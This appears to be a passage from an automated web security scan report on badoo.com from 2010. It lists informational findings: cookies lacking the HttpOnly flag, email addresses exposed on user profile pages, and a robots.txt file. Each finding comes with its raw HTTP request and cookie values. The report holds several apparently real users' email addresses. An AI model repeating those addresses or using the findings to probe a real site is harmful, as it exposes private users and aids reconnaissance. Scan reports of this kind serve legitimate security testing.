Host:	http://badoo.com
Path:	/signup/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
t=deleted; expires=Mon, 09-Nov-2009 15:55:02 GMT; path=/; domain=.badoo.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /signup/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

8.35. http://badoo.com/tarabell/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/tarabell/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
t=deleted; expires=Mon, 09-Nov-2009 15:49:58 GMT; path=/; domain=.badoo.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /tarabell/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

8.36. http://badoo.com/terms/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/terms/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
t=deleted; expires=Mon, 09-Nov-2009 15:54:13 GMT; path=/; domain=.badoo.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /terms/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

8.37. http://badoo.com/veletanga77/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/veletanga77/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
t=deleted; expires=Mon, 09-Nov-2009 15:51:48 GMT; path=/; domain=.badoo.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /veletanga77/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

8.38. http://badoo.com/vianey06/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/vianey06/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
t=deleted; expires=Mon, 09-Nov-2009 15:49:48 GMT; path=/; domain=.badoo.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /vianey06/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:49:49 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:49:48 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 13706

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html id=""> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title
...[SNIP]...

8.39. http://badoo.com/webone/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/webone/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
t=deleted; expires=Mon, 09-Nov-2009 15:50:04 GMT; path=/; domain=.badoo.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

9. Email addresses disclosed previous next
There are 3 instances of this issue:

/093407644/
/association/
/doritos699/

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

9.1. http://badoo.com/093407644/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/093407644/

Issue detail

The following email address was disclosed in the response:

jeuris.michel@hotmai.com

Request

GET /093407644/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

9.2. http://badoo.com/association/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/association/

Issue detail

The following email address was disclosed in the response:

mfmj_86@hotmail.com

Request

Response

9.3. http://badoo.com/doritos699/ previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/doritos699/

Issue detail

The following email address was disclosed in the response:

egemavisi-_-sin@hotmail.co

Request

GET /doritos699/?sold2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4 HTTP/1.1
Host: badoo.com
Proxy-Connection: keep-alive
Referer: http://badoo.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.2.10.1289338958

Response

10. Robots.txt file previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/languages/

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: badoo.com

Response

HTTP/1.1 200 OK
Server: nginx/0.7.64
Date: Tue, 09 Nov 2010 15:49:37 GMT
Content-Type: text/plain
Content-Length: 580
Last-Modified: Thu, 16 Sep 2010 11:21:16 GMT
Connection: close
Accept-Ranges: bytes

User-agent: Googlebot
Disallow: /index.phtml
Disallow: /*?
Disallow: /search/
Disallow: /signup/
Disallow: /signin/
Disallow: /guest/
Disallow: /import/
Disallow: /access.phtml
Disallow: /*lang_id*

U
...[SNIP]...

Report generated by Hoyt LLC Research at Tue Nov 09 18:40:31 CST 2010.